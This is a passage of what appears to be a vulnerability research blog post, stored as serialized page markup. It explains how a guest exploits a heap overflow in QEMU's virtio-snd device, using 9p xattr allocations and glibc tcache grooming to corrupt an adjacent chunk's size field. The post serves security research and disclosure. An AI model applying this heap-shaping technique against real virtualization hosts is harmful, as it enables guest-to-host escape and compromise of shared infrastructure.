ssize_t",{"type":20,"tag":315,"props":126293,"children":126294},{"style":328},[126295],{"type":26,"value":126296}," err ",{"type":20,"tag":315,"props":126298,"children":126299},{"style":334},[126300],{"type":26,"value":337},{"type":20,"tag":315,"props":126302,"children":126303},{"style":765},[126304],{"type":26,"value":985},{"type":20,"tag":315,"props":126306,"children":126307},{"style":328},[126308],{"type":26,"value":1405},{"type":20,"tag":315,"props":126310,"children":126311},{"class":317,"line":421},[126312],{"type":20,"tag":315,"props":126313,"children":126314},{"style":328},[126315],{"type":26,"value":126316}," V9fsString name;\n",{"type":20,"tag":315,"props":126318,"children":126319},{"class":317,"line":430},[126320,126324,126329,126333,126338],{"type":20,"tag":315,"props":126321,"children":126322},{"style":541},[126323],{"type":26,"value":14966},{"type":20,"tag":315,"props":126325,"children":126326},{"style":328},[126327],{"type":26,"value":126328}," offset ",{"type":20,"tag":315,"props":126330,"children":126331},{"style":334},[126332],{"type":26,"value":337},{"type":20,"tag":315,"props":126334,"children":126335},{"style":765},[126336],{"type":26,"value":126337}," 7",{"type":20,"tag":315,"props":126339,"children":126340},{"style":328},[126341],{"type":26,"value":1405},{"type":20,"tag":315,"props":126343,"children":126344},{"class":317,"line":453},[126345,126350,126354],{"type":20,"tag":315,"props":126346,"children":126347},{"style":328},[126348],{"type":26,"value":126349}," V9fsFidState ",{"type":20,"tag":315,"props":126351,"children":126352},{"style":334},[126353],{"type":26,"value":901},{"type":20,"tag":315,"props":126355,"children":126356},{"style":328},[126357],{"type":26,"value":126358},"file_fidp;\n",{"type":20,"tag":315,"props":126360,"children":126361},{"class":317,"line":486},[126362,126366,126370],{"type":20,"tag":315,"props":126363,"children":126364},{"style":328},[126365],{"type":26,"value":126349},{"type":20,"tag":315,"props":126367,"children":126368},{"style":334},[126369],{"type":26,"value":901},{"type":20,"tag":315,"props":126371,"children":126372},{"style":328},[126373],{"type":26,"value":126374},"xattr_fidp;\n",{"type":20,"tag":315,"props":126376,"children":126377},{"class":317,"line":499},[126378,126383,126387,126392,126396],{"type":20,"tag":315,"props":126379,"children":126380},{"style":328},[126381],{"type":26,"value":126382}," V9fsPDU ",{"type":20,"tag":315,"props":126384,"children":126385},{"style":334},[126386],{"type":26,"value":901},{"type":20,"tag":315,"props":126388,"children":126389},{"style":328},[126390],{"type":26,"value":126391},"pdu ",{"type":20,"tag":315,"props":126393,"children":126394},{"style":334},[126395],{"type":26,"value":337},{"type":20,"tag":315,"props":126397,"children":126398},{"style":328},[126399],{"type":26,"value":126400}," opaque;\n",{"type":20,"tag":315,"props":126402,"children":126403},{"class":317,"line":513},[126404],{"type":20,"tag":315,"props":126405,"children":126406},{"emptyLinePlaceholder":15},[126407],{"type":26,"value":427},{"type":20,"tag":315,"props":126409,"children":126410},{"class":317,"line":521},[126411,126416,126420,126424],{"type":20,"tag":315,"props":126412,"children":126413},{"style":345},[126414],{"type":26,"value":126415}," v9fs_string_init",{"type":20,"tag":315,"props":126417,"children":126418},{"style":328},[126419],{"type":26,"value":1049},{"type":20,"tag":315,"props":126421,"children":126422},{"style":334},[126423],{"type":26,"value":1490},{"type":20,"tag":315,"props":126425,"children":126426},{"style":328},[126427],{"type":26,"value":126428},"name);\n",{"type":20,"tag":315,"props":126430,"children":126431},{"class":317,"line":552},[126432,126437,126441,126446,126451,126456,126460,126464,126469,126473,126478,126482,126486,126490],{"type":20,"tag":315,"props":126433,"children":126434},{"style":328},[126435],{"type":26,"value":126436}," err ",{"type":20,"tag":315,"props":126438,"children":126439},{"style":334},[126440],{"type":26,"value":337},{"type":20,"tag":315,"props":126442,"children":126443},{"style":345},[126444],{"type":26,"value":126445}," pdu_unmarshal",{"type":20,"tag":315,"props":126447,"children":126448},{"style":328},[126449],{"type":26,"value":126450},"(pdu, offset, ",{"type":20,"tag":315,"props":126452,"children":126453},{"style":2652},[126454],{"type":26,"value":126455},"\"dsqd\"",{"type":20,"tag":315,"props":126457,"children":126458},{"style":328},[126459],{"type":26,"value":44},{"type":20,"tag":315,"props":126461,"children":126462},{"style":334},[126463],{"type":26,"value":1490},{"type":20,"tag":315,"props":126465,"children":126466},{"style":328},[126467],{"type":26,"value":126468},"fid, ",{"type":20,"tag":315,"props":126470,"children":126471},{"style":334},[126472],{"type":26,"value":1490},{"type":20,"tag":315,"props":126474,"children":126475},{"style":328},[126476],{"type":26,"value":126477},"name, ",{"type":20,"tag":315,"props":126479,"children":126480},{"style":334},[126481],{"type":26,"value":1490},{"type":20,"tag":315,"props":126483,"children":126484},{"style":328},[126485],{"type":26,"value":125228},{"type":20,"tag":315,"props":126487,"children":126488},{"style":334},[126489],{"type":26,"value":1490},{"type":20,"tag":315,"props":126491,"children":126492},{"style":328},[126493],{"type":26,"value":126494},"flags);\n",{"type":20,"tag":315,"props":126496,"children":126497},{"class":317,"line":571},[126498,126502,126507,126511,126515],{"type":20,"tag":315,"props":126499,"children":126500},{"style":525},[126501],{"type":26,"value":10680},{"type":20,"tag":315,"props":126503,"children":126504},{"style":328},[126505],{"type":26,"value":126506}," (err ",{"type":20,"tag":315,"props":126508,"children":126509},{"style":334},[126510],{"type":26,"value":4199},{"type":20,"tag":315,"props":126512,"children":126513},{"style":765},[126514],{"type":26,"value":985},{"type":20,"tag":315,"props":126516,"children":126517},{"style":328},[126518],{"type":26,"value":549},{"type":20,"tag":315,"props":126520,"children":126521},{"class":317,"line":2031},[126522,126527],{"type":20,"tag":315,"props":126523,"children":126524},{"style":525},[126525],{"type":26,"value":126526}," goto",{"type":20,"tag":315,"props":126528,"children":126529},{"style":328},[126530],{"type":26,"value":126531}," out_nofid;\n",{"type":20,"tag":315,"props":126533,"children":126534},{"class":317,"line":2053},[126535],{"type":20,"tag":315,"props":126536,"children":126537},{"style":328},[126538],{"type":26,"value":1736},{"type":20,"tag":315,"props":126540,"children":126541},{"class":317,"line":2061},[126542],{"type":20,"tag":315,"props":126543,"children":126544},{"emptyLinePlaceholder":15},[126545],{"type":26,"value":427},{"type":20,"tag":315,"props":126547,"children":126548},{"class":317,"line":2070},[126549],{"type":20,"tag":315,"props":126550,"children":126551},{"style":328},[126552],{"type":26,"value":103059},{"type":20,"tag":315,"props":126554,"children":126555},{"class":317,"line":2139},[126556],{"type":20,"tag":315,"props":126557,"children":126558},{"emptyLinePlaceholder":15},[126559],{"type":26,"value":427},{"type":20,"tag":315,"props":126561,"children":126562},{"class":317,"line":2147},[126563,126567,126571,126575],{"type":20,"tag":315,"props":126564,"children":126565},{"style":525},[126566],{"type":26,"value":10680},{"type":20,"tag":315,"props":126568,"children":126569},{"style":328},[126570],{"type":26,"value":125329},{"type":20,"tag":315,"props":126572,"children":126573},{"style":334},[126574],{"type":26,"value":8862},{"type":20,"tag":315,"props":126576,"children":126577},{"style":328},[126578],{"type":26,"value":126579}," P9_XATTR_SIZE_MAX) {\n",{"type":20,"tag":315,"props":126581,"children":126582},{"class":317,"line":2177},[126583,126588,126592,126596],{"type":20,"tag":315,"props":126584,"children":126585},{"style":328},[126586],{"type":26,"value":126587}," err ",{"type":20,"tag":315,"props":126589,"children":126590},{"style":334},[126591],{"type":26,"value":337},{"type":20,"tag":315,"props":126593,"children":126594},{"style":334},[126595],{"type":26,"value":49507},{"type":20,"tag":315,"props":126597,"children":126598},{"style":328},[126599],{"type":26,"value":126600},"E2BIG;\n",{"type":20,"tag":315,"props":126602,"children":126603},{"class":317,"line":2185},[126604,126608],{"type":20,"tag":315,"props":126605,"children":126606},{"style":525},[126607],{"type":26,"value":126526},{"type":20,"tag":315,"props":126609,"children":126610},{"style":328},[126611],{"type":26,"value":126531},{"type":20,"tag":315,"props":126613,"children":126614},{"class":317,"line":2217},[126615],{"type":20,"tag":315,"props":126616,"children":126617},{"style":328},[126618],{"type":26,"value":1736},{"type":20,"tag":315,"props":126620,"children":126621},{"class":317,"line":2225},[126622],{"type":20,"tag":315,"props":126623,"children":126624},{"emptyLinePlaceholder":15},[126625],{"type":26,"value":427},{"type":20,"tag":315,"props":126627,"children":126628},{"class":317,"line":2285},[126629],{"type":20,"tag":315,"props":126630,"children":126631},{"style":328},[126632],{"type":26,"value":103059},{"type":20,"tag":315,"props":126634,"children":126635},{"class":317,"line":7444},[126636],{"type":20,"tag":315,"props":126637,"children":126638},{"emptyLinePlaceholder":15},[126639],{"type":26,"value":427},{"type":20,"tag":315,"props":126641,"children":126642},{"class":317,"line":7462},[126643,126647,126651,126655,126660,126664,126668,126672,126677,126681,126685],{"type":20,"tag":315,"props":126644,"children":126645},{"style":345},[126646],{"type":26,"value":126415},{"type":20,"tag":315,"props":126648,"children":126649},{"style":328},[126650],{"type":26,"value":1049},{"type":20,"tag":315,"props":126652,"children":126653},{"style":334},[126654],{"type":26,"value":1490},{"type":20,"tag":315,"props":126656,"children":126657},{"style":635},[126658],{"type":26,"value":126659},"xattr_fidp",{"type":20,"tag":315,"props":126661,"children":126662},{"style":328},[126663],{"type":26,"value":12158},{"type":20,"tag":315,"props":126665,"children":126666},{"style":635},[126667],{"type":26,"value":35398},{"type":20,"tag":315,"props":126669,"children":126670},{"style":328},[126671],{"type":26,"value":61},{"type":20,"tag":315,"props":126673,"children":126674},{"style":635},[126675],{"type":26,"value":126676},"xattr",{"type":20,"tag":315,"props":126678,"children":126679},{"style":328},[126680],{"type":26,"value":61},{"type":20,"tag":315,"props":126682,"children":126683},{"style":635},[126684],{"type":26,"value":46749},{"type":20,"tag":315,"props":126686,"children":126687},{"style":328},[126688],{"type":26,"value":2214},{"type":20,"tag":315,"props":126690,"children":126691},{"class":317,"line":7507},[126692,126697,126701,126705,126709,126713,126717,126721,126725,126729,126733,126737,126741],{"type":20,"tag":315,"props":126693,"children":126694},{"style":345},[126695],{"type":26,"value":126696}," v9fs_string_copy",{"type":20,"tag":315,"props":126698,"children":126699},{"style":328},[126700],{"type":26,"value":1049},{"type":20,"tag":315,"props":126702,"children":126703},{"style":334},[126704],{"type":26,"value":1490},{"type":20,"tag":315,"props":126706,"children":126707},{"style":635},[126708],{"type":26,"value":126659},{"type":20,"tag":315,"props":126710,"children":126711},{"style":328},[126712],{"type":26,"value":12158},{"type":20,"tag":315,"props":126714,"children":126715},{"style":635},[126716],{"type":26,"value":35398},{"type":20,"tag":315,"props":126718,"children":126719},{"style":328},[126720],{"type":26,"value":61},{"type":20,"tag":315,"props":126722,"children":126723},{"style":635},[126724],{"type":26,"value":126676},{"type":20,"tag":315,"props":126726,"children":126727},{"style":328},[126728],{"type":26,"value":61},{"type":20,"tag":315,"props":126730,"children":126731},{"style":635},[126732],{"type":26,"value":46749},{"type":20,"tag":315,"props":126734,"children":126735},{"style":328},[126736],{"type":26,"value":44},{"type":20,"tag":315,"props":126738,"children":126739},{"style":334},[126740],{"type":26,"value":1490},{"type":20,"tag":315,"props":126742,"children":126743},{"style":328},[126744],{"type":26,"value":126428},{"type":20,"tag":315,"props":126746,"children":126747},{"class":317,"line":7613},[126748,126753,126757,126761,126765,126769,126773,126777,126781,126785],{"type":20,"tag":315,"props":126749,"children":126750},{"style":635},[126751],{"type":26,"value":126752}," xattr_fidp",{"type":20,"tag":315,"props":126754,"children":126755},{"style":328},[126756],{"type":26,"value":12158},{"type":20,"tag":315,"props":126758,"children":126759},{"style":635},[126760],{"type":26,"value":35398},{"type":20,"tag":315,"props":126762,"children":126763},{"style":328},[126764],{"type":26,"value":61},{"type":20,"tag":315,"props":126766,"children":126767},{"style":635},[126768],{"type":26,"value":126676},{"type":20,"tag":315,"props":126770,"children":126771},{"style":328},[126772],{"type":26,"value":61},{"type":20,"tag":315,"props":126774,"children":126775},{"style":635},[126776],{"type":26,"value":37568},{"type":20,"tag":315,"props":126778,"children":126779},{"style":334},[126780],{"type":26,"value":1395},{"type":20,"tag":315,"props":126782,"children":126783},{"style":345},[126784],{"type":26,"value":122431},{"type":20,"tag":315,"props":126786,"children":126787},{"style":328},[126788],{"type":26,"value":126789},"(size);\n",{"type":20,"tag":315,"props":126791,"children":126792},{"class":317,"line":21914},[126793],{"type":20,"tag":315,"props":126794,"children":126795},{"style":328},[126796],{"type":26,"value":577},{"type":20,"tag":29,"props":126798,"children":126799},{},[126800,126802,126807,126809,126814,126815,126820,126822,126827],{"type":26,"value":126801},"Because the ",{"type":20,"tag":119,"props":126803,"children":126805},{"className":126804},[],[126806],{"type":26,"value":126163},{"type":26,"value":126808}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":20,"tag":119,"props":126810,"children":126812},{"className":126811},[],[126813],{"type":26,"value":126163},{"type":26,"value":9392},{"type":20,"tag":119,"props":126816,"children":126818},{"className":126817},[],[126819],{"type":26,"value":126170},{"type":26,"value":126821},", not just the ",{"type":20,"tag":119,"props":126823,"children":126825},{"className":126824},[],[126826],{"type":26,"value":126170},{"type":26,"value":126828}," we actually care about. But we will get around this later in the blog post.",{"type":20,"tag":29,"props":126830,"children":126831},{},[126832,126833,126838],{"type":26,"value":15015},{"type":20,"tag":119,"props":126834,"children":126836},{"className":126835},[],[126837],{"type":26,"value":126170},{"type":26,"value":126839}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":20,"tag":29,"props":126841,"children":126842},{},[126843,126845,126850,126852,126858,126860,126866,126868,126874],{"type":26,"value":126844},"Once allocated, we can write arbitrary bytes into the ",{"type":20,"tag":119,"props":126846,"children":126848},{"className":126847},[],[126849],{"type":26,"value":126170},{"type":26,"value":126851}," buffer through a ",{"type":20,"tag":119,"props":126853,"children":126855},{"className":126854},[],[126856],{"type":26,"value":126857},"P9_TWRITE",{"type":26,"value":126859}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":20,"tag":119,"props":126861,"children":126863},{"className":126862},[],[126864],{"type":26,"value":126865},"P9_TREAD",{"type":26,"value":126867},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":20,"tag":119,"props":126869,"children":126871},{"className":126870},[],[126872],{"type":26,"value":126873},"P9_TCLUNK",{"type":26,"value":126875}," request on that same FID.",{"type":20,"tag":29,"props":126877,"children":126878},{},[126879,126881,126887],{"type":26,"value":126880},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":20,"tag":119,"props":126882,"children":126884},{"className":126883},[],[126885],{"type":26,"value":126886},"65536",{"type":26,"value":126888}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":20,"tag":219,"props":126890,"children":126892},{"id":126891},"setting-the-heap-layout",[126893],{"type":26,"value":126894},"Setting the Heap Layout",{"type":20,"tag":29,"props":126896,"children":126897},{},[126898,126900,126905],{"type":26,"value":126899},"Ideally, we want a contiguous heap region consisting only of ",{"type":20,"tag":119,"props":126901,"children":126903},{"className":126902},[],[126904],{"type":26,"value":126170},{"type":26,"value":126906}," allocations, like this:",{"type":20,"tag":305,"props":126908,"children":126910},{"code":126909}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[126911],{"type":20,"tag":119,"props":126912,"children":126913},{"__ignoreMap":7},[126914],{"type":26,"value":126909},{"type":20,"tag":29,"props":126916,"children":126917},{},[126918,126920,126925,126927,126932,126934,126939],{"type":26,"value":126919},"This lets us later create holes by freeing every other ",{"type":20,"tag":119,"props":126921,"children":126923},{"className":126922},[],[126924],{"type":26,"value":126170},{"type":26,"value":126926}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":20,"tag":119,"props":126928,"children":126930},{"className":126929},[],[126931],{"type":26,"value":122518},{"type":26,"value":126933}," field of the next live ",{"type":20,"tag":119,"props":126935,"children":126937},{"className":126936},[],[126938],{"type":26,"value":126170},{"type":26,"value":126940}," chunk.",{"type":20,"tag":29,"props":126942,"children":126943},{},[126944],{"type":26,"value":126945},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":20,"tag":29,"props":126947,"children":126948},{},[126949,126951,126956,126958,126963,126965,126970,126972,126977],{"type":26,"value":126950},"As mentioned earlier, ",{"type":20,"tag":119,"props":126952,"children":126954},{"className":126953},[],[126955],{"type":26,"value":126207},{"type":26,"value":126957}," always allocates two chunks: one for ",{"type":20,"tag":119,"props":126959,"children":126961},{"className":126960},[],[126962],{"type":26,"value":126163},{"type":26,"value":126964}," and one for ",{"type":20,"tag":119,"props":126966,"children":126968},{"className":126967},[],[126969],{"type":26,"value":126170},{"type":26,"value":126971},". We want to avoid having ",{"type":20,"tag":119,"props":126973,"children":126975},{"className":126974},[],[126976],{"type":26,"value":126163},{"type":26,"value":126978}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":20,"tag":68,"props":126980,"children":126981},{},[126982,126994],{"type":20,"tag":72,"props":126983,"children":126984},{},[126985,126987,126992],{"type":26,"value":126986},"Make ",{"type":20,"tag":119,"props":126988,"children":126990},{"className":126989},[],[126991],{"type":26,"value":126163},{"type":26,"value":126993}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":20,"tag":72,"props":126995,"children":126996},{},[126997,126999,127004,127006,127011,127013,127018],{"type":26,"value":126998},"Prepare a separate region whose sole purpose is to absorb ",{"type":20,"tag":119,"props":127000,"children":127002},{"className":127001},[],[127003],{"type":26,"value":126163},{"type":26,"value":127005},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":20,"tag":119,"props":127007,"children":127009},{"className":127008},[],[127010],{"type":26,"value":126163},{"type":26,"value":127012}," allocations from that separate freelist instead of placing them next to our ",{"type":20,"tag":119,"props":127014,"children":127016},{"className":127015},[],[127017],{"type":26,"value":126170},{"type":26,"value":127019}," chunks.",{"type":20,"tag":17297,"props":127021,"children":127023},{"id":127022},"separating-name-allocations",[127024],{"type":26,"value":127025},"Separating .name allocations",{"type":20,"tag":29,"props":127027,"children":127028},{},[127029,127031,127036,127038,127043],{"type":26,"value":127030},"We chose the second option. However, it is not as simple as issuing ",{"type":20,"tag":119,"props":127032,"children":127034},{"className":127033},[],[127035],{"type":26,"value":126207},{"type":26,"value":127037}," for N ",{"type":20,"tag":119,"props":127039,"children":127041},{"className":127040},[],[127042],{"type":26,"value":126163},{"type":26,"value":127044},"-sized allocations and then freeing them.",{"type":20,"tag":29,"props":127046,"children":127047},{},[127048,127050,127055,127056,127061,127062,127067,127069,127074,127076,127081],{"type":26,"value":127049},"At this point, we already know that ",{"type":20,"tag":119,"props":127051,"children":127053},{"className":127052},[],[127054],{"type":26,"value":126207},{"type":26,"value":126957},{"type":20,"tag":119,"props":127057,"children":127059},{"className":127058},[],[127060],{"type":26,"value":126163},{"type":26,"value":126964},{"type":20,"tag":119,"props":127063,"children":127065},{"className":127064},[],[127066],{"type":26,"value":126170},{"type":26,"value":127068},". If we simply call it with ",{"type":20,"tag":119,"props":127070,"children":127072},{"className":127071},[],[127073],{"type":26,"value":126170},{"type":26,"value":127075}," sized the same as ",{"type":20,"tag":119,"props":127077,"children":127079},{"className":127078},[],[127080],{"type":26,"value":126163},{"type":26,"value":127082},", we get a layout like this:",{"type":20,"tag":305,"props":127084,"children":127086},{"code":127085}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[127087],{"type":20,"tag":119,"props":127088,"children":127089},{"__ignoreMap":7},[127090],{"type":26,"value":127085},{"type":20,"tag":29,"props":127092,"children":127093},{},[127094,127096,127101,127103,127109,127111,127117,127119,127124,127126,127131,127133,127138],{"type":26,"value":127095},"With that heap state, issuing a ",{"type":20,"tag":119,"props":127097,"children":127099},{"className":127098},[],[127100],{"type":26,"value":126873},{"type":26,"value":127102}," request would first free ",{"type":20,"tag":119,"props":127104,"children":127106},{"className":127105},[],[127107],{"type":26,"value":127108},".name A",{"type":26,"value":127110}," and then ",{"type":20,"tag":119,"props":127112,"children":127114},{"className":127113},[],[127115],{"type":26,"value":127116},".value A",{"type":26,"value":127118},". When ",{"type":20,"tag":119,"props":127120,"children":127122},{"className":127121},[],[127123],{"type":26,"value":127116},{"type":26,"value":127125}," is freed, the allocator sees that the preceding chunk ",{"type":20,"tag":119,"props":127127,"children":127129},{"className":127128},[],[127130],{"type":26,"value":127108},{"type":26,"value":127132}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":20,"tag":119,"props":127134,"children":127136},{"className":127135},[],[127137],{"type":26,"value":126163},{"type":26,"value":127139},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":20,"tag":29,"props":127141,"children":127142},{},[127143],{"type":26,"value":127144},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":20,"tag":29,"props":127146,"children":127147},{},[127148,127150,127155,127157,127162,127164,127169,127171,127177,127179,127184,127186,127192],{"type":26,"value":127149},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":20,"tag":119,"props":127151,"children":127153},{"className":127152},[],[127154],{"type":26,"value":126163},{"type":26,"value":127156}," allocation remains fixed at size ",{"type":20,"tag":119,"props":127158,"children":127160},{"className":127159},[],[127161],{"type":26,"value":103325},{"type":26,"value":127163},". We first allocate 16 xattrs whose ",{"type":20,"tag":119,"props":127165,"children":127167},{"className":127166},[],[127168],{"type":26,"value":126170},{"type":26,"value":127170}," size is ",{"type":20,"tag":119,"props":127172,"children":127174},{"className":127173},[],[127175],{"type":26,"value":127176},"0x30",{"type":26,"value":127178},". After that, we allocate another 16 xattrs, this time with ",{"type":20,"tag":119,"props":127180,"children":127182},{"className":127181},[],[127183],{"type":26,"value":126170},{"type":26,"value":127185}," size ",{"type":20,"tag":119,"props":127187,"children":127189},{"className":127188},[],[127190],{"type":26,"value":127191},"0x40",{"type":26,"value":127193},", and continue in the same way for each tcache size class.",{"type":20,"tag":29,"props":127195,"children":127196},{},[127197],{"type":26,"value":127198},"This yields the following layout:",{"type":20,"tag":305,"props":127200,"children":127202},{"code":127201}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[127203],{"type":20,"tag":119,"props":127204,"children":127205},{"__ignoreMap":7},[127206],{"type":26,"value":127201},{"type":20,"tag":29,"props":127208,"children":127209},{},[127210,127212,127217,127219,127224,127226,127231,127233,127238,127240,127245,127247,127252,127253,127258,127260,127265,127267,127272,127274,127279,127281,127286,127288,127293],{"type":26,"value":127211},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":20,"tag":119,"props":127213,"children":127215},{"className":127214},[],[127216],{"type":26,"value":126163},{"type":26,"value":127218}," chunks end up in the ",{"type":20,"tag":119,"props":127220,"children":127222},{"className":127221},[],[127223],{"type":26,"value":103325},{"type":26,"value":127225}," tcache bin, along with the interleaved ",{"type":20,"tag":119,"props":127227,"children":127229},{"className":127228},[],[127230],{"type":26,"value":126170},{"type":26,"value":127232}," chunks of size ",{"type":20,"tag":119,"props":127234,"children":127236},{"className":127235},[],[127237],{"type":26,"value":127176},{"type":26,"value":127239},". The next 16 ",{"type":20,"tag":119,"props":127241,"children":127243},{"className":127242},[],[127244],{"type":26,"value":126163},{"type":26,"value":127246}," chunks are interleaved with ",{"type":20,"tag":119,"props":127248,"children":127250},{"className":127249},[],[127251],{"type":26,"value":126170},{"type":26,"value":127232},{"type":20,"tag":119,"props":127254,"children":127256},{"className":127255},[],[127257],{"type":26,"value":127191},{"type":26,"value":127259},"; when freed, those ",{"type":20,"tag":119,"props":127261,"children":127263},{"className":127262},[],[127264],{"type":26,"value":126170},{"type":26,"value":127266}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":20,"tag":119,"props":127268,"children":127270},{"className":127269},[],[127271],{"type":26,"value":126163},{"type":26,"value":127273}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":20,"tag":119,"props":127275,"children":127277},{"className":127276},[],[127278],{"type":26,"value":126163},{"type":26,"value":127280},"-sized chunks that will later be served to the ",{"type":20,"tag":119,"props":127282,"children":127284},{"className":127283},[],[127285],{"type":26,"value":126163},{"type":26,"value":127287}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":20,"tag":119,"props":127289,"children":127291},{"className":127290},[],[127292],{"type":26,"value":126170},{"type":26,"value":127019},{"type":20,"tag":219,"props":127295,"children":127297},{"id":127296},"corrupting-the-size",[127298],{"type":26,"value":127299},"Corrupting the Size",{"type":20,"tag":29,"props":127301,"children":127302},{},[127303,127305,127310,127312,127317,127319,127324,127326,127331,127332,127337],{"type":26,"value":127304},"The input format is guest-controlled, and we choose ",{"type":20,"tag":119,"props":127306,"children":127308},{"className":127307},[],[127309],{"type":26,"value":1802},{"type":26,"value":127311}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":20,"tag":119,"props":127313,"children":127315},{"className":127314},[],[127316],{"type":26,"value":1802},{"type":26,"value":127318}," is centered at ",{"type":20,"tag":119,"props":127320,"children":127322},{"className":127321},[],[127323],{"type":26,"value":27855},{"type":26,"value":127325}," (rather than ",{"type":20,"tag":119,"props":127327,"children":127329},{"className":127328},[],[127330],{"type":26,"value":124425},{"type":26,"value":124412},{"type":20,"tag":119,"props":127333,"children":127335},{"className":127334},[],[127336],{"type":26,"value":124403},{"type":26,"value":127338},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":20,"tag":29,"props":127340,"children":127341},{},[127342,127344,127349],{"type":26,"value":127343},"As we already concluded, ",{"type":20,"tag":119,"props":127345,"children":127347},{"className":127346},[],[127348],{"type":26,"value":123868},{"type":26,"value":127350}," is called with the amount:",{"type":20,"tag":305,"props":127352,"children":127354},{"code":127353},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[127355],{"type":20,"tag":119,"props":127356,"children":127357},{"__ignoreMap":7},[127358],{"type":26,"value":127353},{"type":20,"tag":29,"props":127360,"children":127361},{},[127362,127364,127369,127371,127376],{"type":26,"value":127363},"And as mentioned earlier, ",{"type":20,"tag":119,"props":127365,"children":127367},{"className":127366},[],[127368],{"type":26,"value":123899},{"type":26,"value":127370}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":20,"tag":119,"props":127372,"children":127374},{"className":127373},[],[127375],{"type":26,"value":122518},{"type":26,"value":56579},{"type":20,"tag":29,"props":127378,"children":127379},{},[127380,127382,127387,127389,127394],{"type":26,"value":127381},"With the desired heap layout of repeated ",{"type":20,"tag":119,"props":127383,"children":127385},{"className":127384},[],[127386],{"type":26,"value":126072},{"type":26,"value":127388},"-sized ",{"type":20,"tag":119,"props":127390,"children":127392},{"className":127391},[],[127393],{"type":26,"value":126170},{"type":26,"value":127395}," chunks in place, we can then free every other one:",{"type":20,"tag":305,"props":127397,"children":127399},{"code":127398}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[127400],{"type":20,"tag":119,"props":127401,"children":127402},{"__ignoreMap":7},[127403],{"type":26,"value":127398},{"type":20,"tag":29,"props":127405,"children":127406},{},[127407,127409,127414],{"type":26,"value":127408},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":20,"tag":119,"props":127410,"children":127412},{"className":127411},[],[127413],{"type":26,"value":126170},{"type":26,"value":127415}," chunk directly next to it:",{"type":20,"tag":305,"props":127417,"children":127419},{"code":127418}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[127420],{"type":20,"tag":119,"props":127421,"children":127422},{"__ignoreMap":7},[127423],{"type":26,"value":127418},{"type":20,"tag":29,"props":127425,"children":127426},{},[127427,127429,127434,127436,127441],{"type":26,"value":127428},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":20,"tag":119,"props":127430,"children":127432},{"className":127431},[],[127433],{"type":26,"value":126072},{"type":26,"value":127435},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":20,"tag":119,"props":127437,"children":127439},{"className":127438},[],[127440],{"type":26,"value":126170},{"type":26,"value":127442}," chunk now has a corrupted and likely oversized size field:",{"type":20,"tag":305,"props":127444,"children":127446},{"code":127445}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | 